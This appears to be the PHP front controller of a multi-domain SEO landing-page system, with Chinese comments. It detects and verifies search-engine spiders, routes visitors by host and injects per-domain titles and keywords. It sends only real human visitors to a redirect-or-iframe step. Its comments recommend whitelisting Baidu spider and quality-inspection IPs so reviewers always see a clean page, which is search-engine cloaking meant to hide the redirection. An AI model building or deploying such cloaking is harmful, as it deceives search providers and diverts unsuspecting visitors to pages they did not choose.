<?php
/**
 * 前台入口（前控制器）
 * 流程：安装检查 -> 取 Host/IP/UA -> 蜘蛛识别+反查 -> 安全防御 -> 路由 -> 跳转(真人) -> TDK 注入渲染
 */
require __DIR__ . '/config.php';

// 未安装 -> 引导安装
if (!file_exists(INSTALL_FLAG)) {
    header('Location: install.php');
    exit;
}

foreach (['DB', 'Util', 'Spider', 'Security', 'Router', 'TDK', 'Redirect', 'Render'] as $c) {
    require ROOT . '/lib/' . $c . '.php';
}

// IndexNow：任意域名下 /{key}.txt 动态返回校验 key（必应 key 归属校验，无需逐域名放文件）。
// 放在安全/CC 之前，保证必应验证 bot 永远能取到 key 文件。
$__p = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH);
if ($__p && preg_match('#^/([A-Za-z0-9]{8,64})\.txt$#', $__p, $__m)) {
    $__k = DB::get('indexnow_key', '');
    if ($__k !== '' && hash_equals($__k, $__m[1])) {
        header('Content-Type: text/plain; charset=utf-8');
        echo $__k;
        exit;
    }
}

$rawHost = Util::host();
// www.X 规范化到不带 www 的主域（只剥 www，其它子域 *.X 仍各自独立）
$host    = preg_replace('/^www\./i', '', $rawHost) ?: $rawHost;
// 访问 www.X -> 301 永久跳到 X（SEO 收敛唯一主域，对蜘蛛/真人都生效）
if ($host !== '' && $host !== $rawHost) {
    $https  = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
            || (($_SERVER['SERVER_PORT'] ?? '') == 443)
            || (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https');
    $uri    = $_SERVER['REQUEST_URI'] ?? '/';
    header('Location: ' . ($https ? 'https' : 'http') . '://' . $host . $uri, true, 301);
    exit;
}
$ip     = Util::ip();
$ua     = Util::ua();
$device = Util::device();

// 1) 蜘蛛识别 + 反查验证（反查按 IP 缓存，冷 IP 才查 DNS；关闭假蜘蛛拦截则完全不查）
$engine   = Spider::detect($ua);
$verified = ($engine && DB::get('fake_spider_check', '1') === '1')
          ? Spider::verify($engine, $ip)
          : null;

// 2) 安全防御（黑白名单 / 假蜘蛛 / CC）。未通过则已输出屏蔽页
if (!Security::check($ip, $engine, $verified)) {
    exit;
}

// 3) 路由：Host -> 落地页
$hit = Router::resolve($host);
if (!$hit) {
    http_response_code(404);
    echo '<!doctype html><meta charset=utf-8><title>404</title>Not Found';
    exit;
}
$page   = $hit['page'];
$domain = $host;   // 以实际访问 Host 作为差异化粒度（泛域名每个子域独立 TDK）

// 4) 记录蜘蛛访问
if ($engine) {
    Spider::log($domain, $engine, $ip, $ua, $device, $verified === true);
}

// 5) 流量跳转（默认仅真人）。白名单 IP 视为受信来源，永不注入跳转/iframe，
//    可把已知百度蜘蛛/质检 IP 放白名单以保证其恒拿干净落地页（含不带蜘蛛 UA 的百度质检）。
if (!Security::isWhite($ip)) {
    Redirect::maybe($domain, (bool)$engine, $device);
}

// 6) 取页面 HTML + 差异化 TDK + 渲染
$html = Router::pageHtml($page);
if ($html === null) {
    http_response_code(500);
    echo 'page file missing';
    exit;
}
$tdk = TDK::forDomain($domain, $page);
// 蜘蛛与白名单 IP 视为收录/受信来源：连全局统计代码也不注入，给它们最干净的落地页。
$allowStat = ($engine === null) && !Security::isWhite($ip);
Render::output($html, $domain, $tdk, $allowStat);
